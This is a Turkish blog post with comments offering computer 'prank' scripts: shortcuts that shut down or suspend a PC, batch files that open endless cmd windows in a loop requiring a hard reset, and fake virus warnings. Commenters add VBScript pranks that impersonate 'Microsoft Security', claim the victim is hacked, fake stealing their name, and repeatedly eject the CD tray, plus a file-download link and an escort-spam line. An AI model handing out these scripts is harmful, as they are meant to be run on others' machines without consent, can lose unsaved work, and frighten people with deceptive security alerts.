1-Bilgisayarı Kapatma veya Yeniden Başlatma
Kullanıcı o simgeye tıkladığında bilgisayar kapanacaktır. (Bu oldukça kötü bir şaka olabilir :) Şakazedenin kaydedilmemiş bilgileri olabilir. Sorumluluk tamamen size ait.)
Yeniden başlatmak için ise sihirbazdaki konum alanına "Shutdown.exe -r -t 00" yazmanız gerekiyor.
2-Uykuya Alma
Yöntem 1. yöntemle aynı. Sadece kısayol oluştururken sihirbazdaki konum alanına "rundll32.exe powrprof.dll,SetSuspendState 0,1,0" yazmanız gerekiyor.
3-Kısayol oluşturun. Öğrenin konumuna "shutdown -s -t 600" yazınız. (Burada kaç saniyede kapanmasını istiyorsak o kadarlık sayı giriyoruz.) Sonra -c yazıp oraya herahangi bir metin yazabilirsiniz.
shutdown -s -t 600 -c "Bilgisayarınız ele geçirilmiştir :)"
4-Not defterini açalım ve sonra aşağıdaki metni kopyalayıp yapıştıralım
color 0a
cd ..
cd ..
dir /s
ardından Dosya>Farklı Kaydet diyerek dosyanızınismi.bat şeklinde kaydedelim. Birisi bu kaydedilen dosyaya tıkladığında cmd ekranı açılacak ve hızlı bir şekilde akan yazılar olacaktır. Tıklayan kişi korkuya kapılabilir. :)
5-Notpad'i açınız. Yazbildiğiniz kadar alt alta start yazınız. ondan sonra kaydederken dosyaismi.bad diye kaydediniz. Etkisi siyah ekranlar açar.(Siyah ekran dediğim çalıştıra cmd yazınca çıkan ekrandan bahsediyorum :)) Kaç tane start yazarsan o kadar siyah ekran çıkar. Fakat bu olayın daha fena hali var.
:hop
start
goto hop
bu 3 satırı yazdığınızda bilgisayarı döngüye sokmuş oluyorsunuz. Tek çare reset atmak :)
6-Klasör oluşturma şakası
md virus1
md virus2
md virus3
md virus4
md virus5
@echo off
@echo Çok Tehlikeli Bir Dosya Çalıştırdınız...
@echo Ve Bilgisayara Virüs Bulaştırdınız...
@echo "Esc" Tuşuna Basarak Çıkış Yapmazsanız Bilgisayarınız Çökecektir...
Pause>nul
start
start
start
start
start
yine not defterini açıp yukarıdaki kodları yapıştırıyoruz. Sonra tıkla.bat diyerek kaydediyoruz. Yukarıdaki kodlara bakarsak md klasör oluşturma komutudur. Masaüstünüzde 5 tane klasör oluşturur.(Dilerseniz 100 tane md virüs100'e kadar yapabilirsiniz :)) ESC tuşuna bastığınızda ise start komutu kadar cmd ekranı açılacaktır. Kodlar zararsızdır. Sadece masaüstünüzde bayağı boş bir klasör oluşturur. Klasörleri tek tek silmek için uğraşmak istemiyorsanız "md"leri "rd" yapıp @echo off yazan yerden aşağıyı silip tekrar çalıştırabilirsiniz.
7-CD-Rom Şakası
Buradan ilgili bağlantıya ulaşabilirsiniz :)
Posted in: 
6 yorum:
hepsi doğru LÜTFEN BEĞENİN YORUMU.
Escort in Dubai, Vip Dubai Escort, Dubai Escort Girls
Msgbox "Uygulama Açılsın mı?" , 3+64 , "Açılsın Mı"
Msgbox "Açılamıyor Açabilmek İçin PCKİLL İndiriliyor" , 2+48 , "İndiriliyor %14"
Msgbox "İndirildi %100" , 2+64 , "Yüklendi"
Msgbox "Bu Uygulama Açılsın mı PCKİLL.exe?" , 3+64 , "İndirme Tamamlandı"
Msgbox "Malware Virüsü Tespit Edildi Acilen Tarama Başlatın" , 2+16 , "Microsoft Security"
Msgbox "SysUidHack_29 Uygulaması İndirildi" , 1+64 , "Uygulama İndirildi!"
result2 = Msgbox ("Uygulamayı Silmek İster Misiniz?" , 4+32 , "Oto Silme")
select case result2
case vbYes
Msgbox "Uygulama Sistem Dosyalarına Karıştı , Silinemiyor!!" , 3+16 , "Silinemedi"
case vbNo
msgbox "Güvenlik Duvarı Uygulaması Yanıt Vermiyor , Kapatılsın Mı?" , 4+48 , "Erişim Verildi"
end select
Msgbox "System 32 Dosyası Çöpe Taşındı" , 5+64 , "Sistem Dosyası Silindi"
Msgbox "Çok Önemli Bir Dosya Sildiniz Bilgisayarınız Kapanmak Üzere" , 2+48 , "Bilgisayar Kapanıyor"
Msgbox "Bilgisayarınız Kapatılmak Üzere" , 2+16 , "Kapanıyor"
Msgbox "Bilgisayar Kolay32 Tarafından 30 Saniye İçerisinde Kapatılacak" , 3+48 , "Son 5 Saniye"
Dim ad
ad = InputBox("Adınızı girin", "Kimlik Bilgisi", "Adınızı Girerseniz Verileriniz Kaybolmaz")
msgbox "ZAA SENİ KANDIRDIM" , 2+64 , "Kandırdım"
msgbox "Adını Kaydettim İnanmıyor Musun!!!" , 2+16 , "E-Postanı Çaldım"
msgbox(ad) , vbinformation , "Noldu"
msgbox "Hani İnanmamıştın" , 1+64 , "İsmini Biliyorum"
result = msgbox ("Şimdi senin cd-romunu açabilirim evet dersen açılacak" , vbYesNo , "Yapabilirim")
Select Case result
Case vbYes
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >=1 then
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
Case vbNo
msgbox "Ben Yinede Yapıyım :)" , 2+64 , "İNADINA"
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >=1 then
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
end select
yazın not defterinden farklı kaydet yapın uzantısını .vbs olarak kaydedin
msgbox " Bilgisayarınız Hacklendi!!" , 2+48 , "Hacklendiniz"
msgbox " Adım BlackDragon " , 1+64 , "Senin Adın"
msgbox " Ben Bilgisayarını Hackleyen Kişiyim " , 4+64 , "Hackledim Seni"
msgbox " Ben Hackerim ve Bilgisayarını Hackledim " , 2+64 , "Hackledim Seni"
msgbox " Bu İşi Dalga Sanmıyorsun Değil Mi? " , 3+32 , "İnanmıyormusun"
msgbox " Şimdi Senin CD-Romunu Açabilirim" , 0+64 , "Açacam"
msgbox " İnanmıyor musun ??" , vbQuestion , "İnan Bana"
msgbox " Al O Zaman!!!" , 2+16 , "Şimdi Açılacak"
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >=1 then
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
msgbox " Al Gördün Mü " , 5+48 , "Hani İnanmamıştın"
msgbox " Ve CD Romu Kapadın " , 3+64
msgbox "Bu Sefer Kapatamayacaksın" , 4+32 , "Yine Açılacak"
Set oWMP = CreateObject ("WMPlayer.OCX.7")
Set colCDROMs = oWMP. cdromCollection
if colCDROMs. Count >=1 then
do
For i=0 to colCDROMs. COunt -1
colCDROMs. Item(i).Eject
Next ' cdrom
For i=0 to colCDROMs. COunt -1
colCDROMs. Item(i).Eject
Next ' cdrom
loop
End If
yazın uzantısını .vbs olarak kaydedin
ama dosyayı indirmek isterseniz
filedropper.com/googleexe
BLACK DRAGON AMK KAPANMIYO
teşekkürler
Yorum Gönderme